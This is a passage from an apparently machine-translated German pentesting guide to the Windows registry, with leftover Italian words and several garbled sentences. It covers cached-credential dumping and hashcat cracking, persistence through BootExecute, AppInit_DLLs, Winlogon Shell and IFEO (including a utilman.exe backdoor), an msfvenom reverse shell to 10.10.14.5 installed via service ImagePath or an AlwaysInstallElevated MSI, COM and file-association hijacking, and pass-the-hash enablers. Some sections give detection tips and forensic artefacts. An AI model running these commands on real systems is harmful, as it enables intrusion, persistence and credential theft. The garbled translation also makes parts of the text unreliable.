Erkennung: Überwachungsereignisse vssadmin create shadow steht nicht im Zusammenhang mit legitimen Backups (Sysmon-Ereignis-ID 1, Übereinstimmung in der Befehlszeile); Lesezugriff auf \HarddiskVolumeShadowCopy*\Windows\System32\config\SAM Von einem Nicht-Systemprozess aus ist dies ein starkes Indiz für eine Sicherheitslücke. Patch: KB-Update Juli 2021 behebt die Standard-ACL.

6.6 Zwischengespeicherte Domänenanmeldeinformationen (DCC/DCC2) #

Wenn ein Firmenlaptop die Netzwerkverbindung verliert, muss Windows weiterhin die Anmeldung mit dem Domänenkonto ermöglichen. Dazu speichert es eine gehashte Version der Anmeldeinformationen lokal: Dies sind die zwischengespeicherten Domänenanmeldeinformationen , bekannt als mscash (v1) oder mscash2/DCC2 (ab Vista).

Text
HKLM\SECURITY\Cache

mit Stimmen NL$1, NL$2, ... NL$10 Standardmäßig – einer für jeden kürzlich angemeldeten Domänenbenutzer. Der Schlüssel NL$KM (siehe oben) wird verwendet, um sie zu entschlüsseln.

Wichtig: DCC2 ist kein NTLM-Hash . Er kann nicht für Pass-the-Hash-Angriffe verwendet werden – er dient ausschließlich der Offline-Verifizierung eines beim Login eingegebenen Passworts; die einzige Möglichkeit, ihn auszunutzen, besteht darin, ihn zu knacken.

bash
secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL
Text
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#e4e4e18ac7d15990f64ebe1be1989d9f

Knacken (Modus 2100 = DCC2/MS-Cache2):

bash
hashcat -m 2100 dcc2_hashes.txt rockyou.txt

Die Nummer 10240 Dies ist die Iterationsanzahl des internen PBKDF2-Algorithmus – dadurch ist das Knacken langsamer als bei reinem NTLM. Die maximale Anzahl zwischengespeicherter Anmeldeinformationen wird wie folgt begrenzt:

Text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount

Anmeldeinformationen für die Anwendung – Software von Drittanbietern #

6.7 Zusätzliche Bewerbungsunterlagen #

Neben SAM/SYSTEM/SECURITY gibt es weitere, kleinere, aber dennoch reale Quellen:

keymgr.dll (Anmeldeinformationsverwaltungs-Stub) — Die vom Anmeldeinformationsmanager gespeicherten Netzwerkanmeldeinformationen werden mit DPAPI verschlüsselt und sind daher nicht im Klartext lesbar. reg querySie sollten mit Mimikatz extrahiert werden. dpapi::cred nach Erhalt des Hauptschlüssels des Benutzers.

PuTTY – gespeicherte Sitzungen:

Text
HKCU\Software\SimonTatham\PuTTY\Sessions

Gespeicherte Hostnamen und, bei fehlerhaften Konfigurationen, Verweise auf private Schlüssel oder Proxys.

VNC — Passwort in der Registrierung:

Text
HKLM\SOFTWARE\RealVNC\WinVNC4
HKCU\Software\ORL\WinVNC3\Default

Viele ältere VNC-Server speichern das schwach verschleierte (oft reversible) Passwort direkt hier.


7. Persistenz über Registrierung #

7.1 Run, RunOnce und Dienste #

Text
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SYSTEM\CurrentControlSet\Services\<nomeservizio>

Run-Keys sind der erste Ort, an dem ein Angreifer (oder Schadsoftware) Autostart-Befehle platziert.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -s

La chiave Services zeigt jeden installierten Dienst an, seine ImagePath (möglicherweise angreifbar bei nicht in Anführungszeichen gesetztem Dienstpfad) und dem Konto, unter dem es ausgeführt wird.

7.2 StartupApproved – der tatsächliche Status der Autostart-Einträge #

Text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder

Ein Wert in „Ausführen“ ohne entsprechende Genehmigung kann auf einen Eintrag hinweisen, der vom Benutzer manuell über den Task-Manager deaktiviert wurde – dies ist hilfreich, um zu verstehen, ob ein in „Ausführen“ gefundener Eintrag tatsächlich aktiv ist. Die Bytes 02/03 Am Anfang des Binärwerts wird angegeben, ob der Wert aktiviert/deaktiviert ist.

7.3 Erweiterte automatische Ausführungen – Mehr als nur Ausführen und Einmal ausführen #

Windows verfügt über mehrere weitere Autostart-Erweiterungspunkte (ASEPs), die weniger bekannt, aber ebenso gebräuchlich sind:

SchlüsselWas es macht
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecuteProgramme, die durchgeführt werden von smss.exe sogar vor dem Desktop – Standard autocheck autochk *Jeglicher zusätzlicher Wert wird bei jedem Systemstart mit sehr hohen Berechtigungen ausgeführt.
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs + LoadAppInit_DLLsDLLs werden in jedem Prozess geladen, der verwendet user32.dllDiese Funktion ist in Vista und späteren Versionen standardmäßig deaktiviert und daher veraltet, sollte aber auf älteren Systemen getestet werden.
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDllsÄhnlich wie AppInit, aber mit der API verknüpft. CreateProcess — betrifft jeden im System erstellten Prozess
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitNormalerweise userinit.exe — ein zweiter, durch Kommas getrennter Wert wird ebenfalls bei jeder Anmeldung gesendet
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ShellNormalerweise explorer.exe —replace ersetzt die gesamte Benutzer-Shell
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\RunDas Ausführen eines Elements „über Gruppenrichtlinie“ wird von oberflächlichen Kontrollen oft ignoriert.
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute"

Persistenz beim Systemstart (sehr hohe Berechtigungen, vor dem Desktop):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" -v BootExecute -vt REG_MULTI_SZ -vd "autocheck autochk *\0C:\Windows\Temp\evil.exe"

Du musst bewahren autocheck autochk * als erstes Element (es handelt sich um die native Boot-Disk-Steuerung) und fügen Sie Ihre Binärdatei als nächsten Eintrag in derselben Datei hinzu. REG_MULTI_SZ, getrennt durch ein Nullzeichen – andernfalls wird der Startvorgang der Festplatte unterbrochen.

AppInit_DLLs (DLL-Injektion in jeden Prozess mit user32.dll):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v AppInit_DLLs -vt REG_SZ -vd "C:\Windows\Temp\evil.dll"
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LoadAppInit_DLLs -vt REG_DWORD -vd 1

ohne LoadAppInit_DLLs a 1Die DLL wird auch dann nicht geladen, wenn AppInit_DLLs wird befüllt — funktioniert nur, wenn Secure Boot deaktiviert ist (in Windows 8 und späteren Versionen mit aktiviertem Secure Boot veraltet).

Winlogon Shell (ersetzt die gesamte Benutzer-Shell):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -v Shell -vt REG_SZ -vd "explorer.exe,C:\Windows\Temp\evil.exe"

Der durch Kommas getrennte Wert nach explorer.exe Wird bei jeder Benutzeranmeldung mit der Shell ausgeführt – langfristige Persistenz, wenn in HKLM geschrieben wird.

7.4 Aktive Einrichtung – Persistenz an Benutzerprofil gebunden #

Text
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\<GUID>

Mechanismus zur Ausführung von Code erste Anmeldung eines neuen Benutzers (typisch in Umgebungen mit Roaming-/Terminalserver-Profilen). Der Wert StubPath enthält den Befehl. Wenn Sie die hier aufgezeichnete Versionsnummer von der unten aufgeführten Versionsnummer erhöhen. HKCU\...\Active Setup\Installed ComponentsDer Befehl wird bei der nächsten Anmeldung jedes Benutzers neu gestartet, sogar bei bereits bestehenden Benutzern.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" -s

7.5 IFEO – Optionen zur Ausführung von Image-Dateien #

MITRE ATT&CK: T1546.012. IFEO ermöglicht es, einen Debugger an eine bestimmte ausführbare Datei anzuhängen: Beim Start dieser Datei wird der Debugger mit ihr gestartet. Dies ist ein legitimer Mechanismus, wird aber häufig für die Persistenz missbraucht, da er die Originaldatei nicht verändert.

Text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nomeprocesso.exe>

Technik 1 – Debugger-Hijacking:

cmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\Windows\System32\calc.exe"

Im Labor wird jede Öffnung von notepad.exe würde werfen calc.exe Stattdessen würde ein Angreifer in einem realen Szenario ein Barrierefreiheitsprogramm ersetzen, das vom Anmeldebildschirm aus aufgerufen werden kann (utilman.exe, sethc.exe), was dazu führt, dass SYSTEM vor dem Login ausgeführt wird („Hintertür für Sticky Keys“).

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"

Technik 2 — SilentProcessExit: Überwacht das „stille“ Beenden eines Prozesses und startet eine Antwortdatei.

Text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<processo.exe>\GlobalFlag
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<processo.exe>
cmd
:: 1. Abilita il monitoraggio (GlobalFlag = 0x200)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

:: 2. Configura cosa succede alla chiusura
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\calc.exe"

Die Nutzlast beginnt mit dem übergeordneten Prozess. WerFault.exeBei einer oberflächlichen Analyse des Prozessbaums besteht weniger Verdacht.

IFEO-Erkennung: Monitor-Schreiben auf Image File Execution Options\*\Debugger e SilentProcessExit\*\MonitorProcess über Sysmon-Ereignis-ID 13; beliebige Debugger zeigt auf cmd.exe/powershell.exe Das ist verdächtig; überprüfen Sie regelmäßig die IFEO-Schlüssel. utilman.exe, sethc.exe, osk.exe, Magnify.exe.

7.6 MountedDevices – Übersicht aller vom Rechner erkannten Datenträger #

Text
HKLM\SYSTEM\MountedDevices

Im Gegensatz MountPoints2 (pro Benutzer, forensische Ansicht), dieser Schlüssel ist auf Maschinenebene und ordnet jeden jemals eingebundenen Laufwerksbuchstaben und jede Volume-GUID zu – einschließlich verschlüsselter Datenträger, USB-Sticks und Netzwerkvolumes.


8. Registry-ACL und Rechteausweitung #

8.1 Funktionsweise der Registrierungsberechtigungen #

Jeder Registrierungsschlüssel verfügt über einen Sicherheitsdeskriptor – die Struktur, die den Besitzer und die Berechtigungen des Objekts definiert. Er enthält zwei separate Listen:

  • DACL (Discretionary Access Control List): Definiert, wer auf das Objekt zugreifen kann und wie – die tatsächlichen Berechtigungen
  • SACL (Systemzugriffskontrollliste): Definiert, was protokolliert/überwacht wird – dies dient der Sicherheitsprotokollierung, nicht der Zugriffsprotokollierung.

Die DACL besteht aus Regeln, die als ACEs (Access Control Entries) bezeichnet werden: „Dieser SID wird der Zugriff gewährt/verweigert.“ Windows wertet die ACEs der Reihe nach aus, wobei explizite Verweigerungen vor Gewährungen verarbeitet werden.

Wichtiger Punkt: Eine leere DACL verweigert jeglichen Zugriff , aber ein Schlüssel ohne DACL (NULL DACL) gewährt jedem vollen Zugriff – eine gefährliche Konfiguration, die oft das Ergebnis eines Fehlers ist.

8.2 Lese- und Schreibberechtigungen #

Mit PowerShell (LOLBins zuerst, keine externen Tools):

Powershell
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" | Format-List
Text
Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NomeServizio
Owner  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  FullControl   <- questa è la ACE pericolosa

Wenn du siehst Authenticated Users o Everyone mit FullControl/Write Bei einem Dienstschlüssel, der als SYSTEM ausgeführt wird, wurde eine Eskalation festgestellt.

Set-Acl modifizieren (im Labor, um die Auswirkungen zu demonstrieren):

Powershell
$acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("NT AUTHORITY\Authenticated Users","FullControl","Allow")
$acl.SetAccessRule($rule)
Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" -AclObject $acl

Im Registrierungseditor: Rechtsklick auf den Schlüssel → Berechtigungen → dieselbe DACL in grafischer Form.

8.3 Schwache Registry-Berechtigungen – Praktische Ausnutzung #

MITRE ATT&CK: T1574.011 (Hijacking-Ablauf: Schwachstelle in den Berechtigungen der Dienstregistrierung). Wenn ein Benutzer mit geringen Berechtigungen Schreibrechte für einen Schlüssel besitzt Services Wenn der Dienst als SYSTEM ausgeführt wird, kann er die Ausführung des Dienstes durch Modifikation übernehmen. ImagePath.

Liste der anfälligen Schlüssel:

Mit Sysinternals' AccessChk:

cmd
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

Mit reinem PowerShell:

Powershell
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\<nomeservizio> | fl

Mit PowerUp.ps1 (Automatisierung für die gesamte Baumstruktur):

Powershell
Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

Aus der Ferne, bevor man eine Shell hat:

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto"

Ausbeutung:

cmd
:: 1. Prepara un binario (in lab: reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f exe -o shell.exe

:: 2. Trasferiscilo sul target
powershell wget http://10.10.14.5/shell.exe -o C:\Users\Public\shell.exe

:: 3. Sovrascrivi ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: 4. Riavvia il servizio
net start NomeServizioSospetto

Fernzugriff direkt über reg.py:

bash
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

Dies funktioniert nur, wenn Sie auch die Berechtigung zum Starten/Neustarten des Dienstes haben oder wenn er automatisch neu startet (Absturzschleife, Neustart).

8.4 UAC, Eingeschränkte Administratorrechte und LocalAccountTokenFilterPolicy #

Text
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Schlüsselwerte: EnableLUA (UAC ein/aus), LocalAccountTokenFilterPolicy (siehe 1Ein lokaler Remote-Administrator erhält ein vollständiges Token anstelle eines gefilterten – dies ermöglicht die laterale Bewegung von PsExec/WMI mit lokalen Konten), FilterAdministratorToken.

Prüfen Sie den aktuellen Status:

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

Umgehung für laterale Bewegung aktivieren (im Labor, um die Auswirkungen auf ein Netzwerk mit mehreren lokalen Administratoren mit demselben Passwort zu demonstrieren):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1

Mit diesem Schlüssel zu 1, ein lokaler Administrator (nicht der integrierte) Administrator, RID 500) authentifiziert über PsExec/WMI/SMB remote erhält ein vollständiges Token anstelle eines UAC-gefilterten Tokens - eine notwendige Bedingung für viele Pass-the-Hash-Techniken bei lateraler Bewegung.

Text
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin

Prüfen Sie, ob RDP die Authentifizierung im eingeschränkten Administratormodus (Pass-the-Hash über RDP) akzeptiert.

Aktivieren Sie diese Funktion, um Pass-the-Hash über RDP zu testen:

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 0

0 Aktivieren Sie den eingeschränkten Administratormodus (der Name ist irreführend: „deaktivieren“). 0 Das bedeutet, dass der eingeschränkte Administratormodus NICHT deaktiviert ist, sondern aktiv ist. xfreerdp /pth Die Authentifizierung erfolgt über RDP ausschließlich unter Verwendung des NTLM-Hashwerts; das Passwort wird niemals im Klartext übertragen.

8.5 AlwaysInstallElevated #

Text
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Wenn sich beide Schlüssel auf 1Jeder Benutzer kann Pakete installieren. .msi mit SYSTEM-Berechtigungen – eine der einfachsten und oft vergessenen Eskalationsstufen bei der Härtung von Systemen.

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -s

Aktivieren Sie beide Schlüssel, um die Eskalation im Labor zu demonstrieren (in einem realen Szenario sollten sie bereits vorhanden sein, versehentlich von einem Administrator erstellt – man erstellt sie nicht ohne Grund auf einem autorisierten Testziel):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1

Sfruttamento (mit beiden bei 1(eine bösartige MSI-Datei installiert sich als SYSTEM, selbst wenn sie von einem normalen Benutzer gestartet wird):

cmd
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o payload.msi
msiexec /quiet /qn /i payload.msi

9. COM-Hijacking und Dateiassoziations-Hijacking #

9.1 COM-Hijacking #

MITRE ATT&CK: T1546.015. Das Component Object Model (COM) ist das Framework, über das Windows-Programme Funktionalitäten austauschen. Jede COM-Komponente wird durch eine ID identifiziert. CLSID (GUID), in der Registrierung einer DLL zugeordnet (InprocServer32) oder ausführbare Datei (LocalServer32).

Text
HKCR\CLSID\{CLSID}\InprocServer32\(Default) = C:\Windows\System32\qualchecosa.dll
HKCR\CLSID\{CLSID}\ProgID = NomeLeggibile.Application

Warum es ausnutzbar ist: Windows-Reparaturen zuerst HKCU\Software\Classes\CLSID und erst danach HKLM\Software\Classes\CLSID. ein Benutzer ohne Administratorrechte kann einen Eintrag unter seiner HKCU erstellen, der auf eine legitime CLSID verweist, und Windows wird diesen verwenden – ohne erhöhte Berechtigungen.

bash
# Verifica se un CLSID esiste già sotto HKCU (se manca, è "hijackable")
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}"

Die CLSID {42aedc87-2188-41fd-b9a3-0c966feabec1} (MruPidlList) gehört zu den am häufigsten verwendeten Listen in realen Kampagnen, da sie von folgenden Quellen geladen wird: explorer.exe bei jedem Login.

Ausbeutung:

cmd
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

Kopieren Sie ThreadingModel genau von der ursprünglichen HKLM-Registrierung, andernfalls schlägt die Aktivierung fehl (sichtbarer Absturz).

Stealth-Variante – TreatAs: bewirkt, dass eine CLSID wie eine andere „behandelt“ wird und weniger überwacht wird als InprocServer32:

cmd
reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

Erkennung: Die Erstellung des Überwachungsschlüssels ist unten aufgeführt HKCU\Software\Classes\CLSID\* (Sysmon-Ereignis-ID 13); eine CLSID, die eigentlich nur in HKLM vorhanden sein sollte, aber in HKCU erscheint, ist ein starkes Indiz; erstellen Sie eine Baseline (legitime Installationen/Updates ändern COM regelmäßig).

9.2 Dateizuordnungs-Hijacking #

Text
HKCR\<progid>\shell\open\command

Beispiel: HKCR\txtfile\shell\open\command\(Default) = "%SystemRoot%\system32\NOTEPAD.EXE" "%1".

Wird dieser Befehl ersetzt, führt jeder Doppelklick auf diesen Dateityp die Nutzlast aus – oft startet die Nutzlast die ursprüngliche Anwendung neu, um keinen Verdacht zu erregen (payload.exe "%1" → dann Notepad aufrufen).

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCR\txtfile\shell\open\command"

Ausnutzung – Hetzt das Öffnen von .txt-Dateien ab:

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKCU\Software\Classes\txtfile\shell\open\command" -v "" -vt REG_SZ -vd 'C:\Users\Public\payload.exe "%1"'

Hinweis: Bitte unten schreiben HKCU\Software\Classes, Nicht HKCR direkt - HKCR ist eine schreibgeschützte Ansicht, die aus der Zusammenführung von HKLM e HKCU\Software\Classes (Siehe die Hive-Tabelle in Abschnitt 1.) Windows ermittelt zuerst die HKCU-Version, daher hat Ihr Eintrag auch ohne Administratorrechte Priorität. Die Nutzdaten erhalten den Pfad zur Originaldatei als %1 und startet Notepad typischerweise nach der Ausführung neu, um beim Opfer keinen Verdacht zu erregen.

Kritischer Fall: Erweiterungsassoziation .exe Dasselbe (HKCR\exefile\shell\open\command) — Wird der Code verändert, durchläuft jede durch Doppelklick gestartete ausführbare Datei die Payload, was die gesamte Ausführungsoberfläche des Benutzers beeinträchtigt.


10. Fernzugriff: RDP, WinRM, LAPS #

Drei Fernzugriffsdienste, drei wichtige Punkte, die vor der Planung einer seitlichen Bewegung oder eines Pass-the-Hash-Angriffs überprüft werden sollten:

DienstleistungRegistrierungsschlüsselWas zu prüfen ist
RDPHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp e ...\fDenyTSConnectionsfDenyTSConnections a 0 = RDP aktiviert. UserAuthentication Gibt an, ob NLA (Netzwerkauthentifizierung) erforderlich ist.
WinRMHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\ServiceOb es nur die Basisauthentifizierung (Klartext über HTTP) oder nur Kerberos/NTLM akzeptiert – relevant für die Ports 5985/5986
LAPSHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPSWenn LAPS konfiguriert ist – in Kombination mit LAPS-Passwort abrufen Prüfen Sie, ob Sie die Berechtigung haben, das rotierte lokale Passwort zu lesen.
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS"

11. Forensik und digitale Hintergrundanalyse – Beweise für die Hinrichtung #

Das Protokoll erfasst, oft redundant, welche Programme wann und wie oft ausgeführt wurden. Diese Artefakte sind das Herzstück der digitalen Forensik und helfen auch dabei festzustellen, ob ein anderer Angreifer Ihrem System vorausgegangen ist.

11.1 ShellBags – Ordnernavigationsspuren #

Sie protokollieren Details zu jedem Ordner, den Sie im Explorer öffnen, selbst wenn der Ordner oder das Laufwerk nicht mehr existiert.

Text
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat
Text
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU

Praktischer Hinweis: Bei der Remote-Registrierung über reg.py gibt es keinen magischen „HKCR“ des anderen Benutzers – es läuft über HKU\<SID-utente>_Classes\..., die geladene Ansicht von UsrClass.dat dieses spezifischen Benutzers. Wenn die SID kein Profil hat. _Classes Nach dem Laden muss die Hive-Struktur offline aus der Festplattendatei extrahiert werden.

Praktischer Nutzen: Rekonstruktion der vom Benutzer durchsuchten Freigaben/externen Laufwerke, Identifizierung verdächtiger Ordner, die von einem früheren Angreifer hinterlassen wurden.

bash
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKU\<SID-utente>_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU' -o '\\10.10.14.5\share\bagmru.save'

Analyse mit ShellBags Explorer (Eric Zimmerman Tools).

11.2 UserAssist – GUI-Anwendungen mit Ausführungszählung #

Text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

Protokolliert Programme, die über die Explorer-Benutzeroberfläche gestartet wurden, mit Ausführungsanzahl und Zeitstempel. Namen werden mit ROT13 verschlüsselt.

Zwei Haupt-GUIDs:

  • {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} — direkte Ausführung .exe
  • {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} — Ausführung durch .lnk
Powershell
function Decode-ROT13 {
    param($string)
    $string.ToCharArray() | ForEach-Object {
        if ([char]::IsLetter($_)) {
            $code = [int][char]$_
            if (($code -ge 65 -and $code -le 77) -or ($code -ge 97 -and $code -le 109)) { $code += 13 } else { $code -= 13 }
            [char]$code
        } else { $_ }
    } -join ''
}
Decode-ROT13 "abgrcnq.rkr"   # -> notepad.exe

Einschränkung: Es werden nur GUI-Anwendungen erfasst, die über den Explorer gestartet werden. Befehlszeilen, Skripte oder geplante Aufgaben werden nicht berücksichtigt.

11.3 ShimCache (AppCompatCache) #

Text
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

Speichert Metadaten (Pfad, Größe, Änderungsdatum) jeder ausführbaren Datei, selbst wenn diese nur im Explorer angezeigt, aber nicht ausgeführt wird. Wird beim Neustart/Herunterfahren geschrieben – eine Momentaufnahme des letzten Zustands vor dem Herunterfahren. Kann Spuren eines Tools selbst nach dessen Löschung von der Festplatte speichern.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -s

Parsing mit AppCompatCacheParser :

bash
AppCompatCacheParser.exe -f SYSTEM --csv output_dir

11.4 Amcache – das wertvollste Artefakt #

Text
C:\Windows\AppCompat\Programs\Amcache.hve

Separater Registrierungszweig (kein klassischer Registry-Schlüssel). Enthält Pfad, Herausgeber, Zeitstempel des ersten Starts und SHA-1-Hash – überprüfbar auf VirusTotal. Zuverlässiger als ShimCache, da der erste Startvorgang in Echtzeit aufgezeichnet wird.

Es ist besser, die Datei über SMB (smbclient.py) abzurufen, als save von reg.py, vorgesehen für Schlüssel im Standardbaum.

Parsing mit AmcacheParser :

bash
AmcacheParser.exe -f Amcache.hve --csv output_dir

11.5 BAM / DAM #

Text
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\<SID>
HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\<SID>

Speichert kürzlich ausgeführte Programme anhand der Benutzer-SID. Wird beim Neustart oder nach ca. 7 Tagen zurückgesetzt – nur für sehr aktuelle Aktivitäten nützlich, ergänzend zu ShimCache/Amcache.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\S-1-5-21-XXXX" -s

11.6 RecentDocs, TypedPaths, TypedURLs, MRU #

Text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs

RecentDocs = Beweise für Zugriff, nicht die Ausführung. TypedPaths = im Explorer eingegebene Pfade. TypedURLs = Gleiches gilt für ältere IE/Edge-Versionen.

MRU-SchlüsselVerfolgen
RunMRU (HKCU\...\Explorer\RunMRU)Befehle, die in Ausführen (Win+R) eingegeben werden — Gold in einem IR: cmd, powershell -encUNC-Pfade bleiben hier auch nach dem Schließen der Sitzung erhalten.
OpenSaveMRU / LastVisitedMRUPfade, die in den Fenstern „Öffnen“/„Speichern“ verwendet werden, nach Anwendung
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

11.7 MountPoints2 – Einbinden von USB- und Netzwerkfreigaben #

Text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

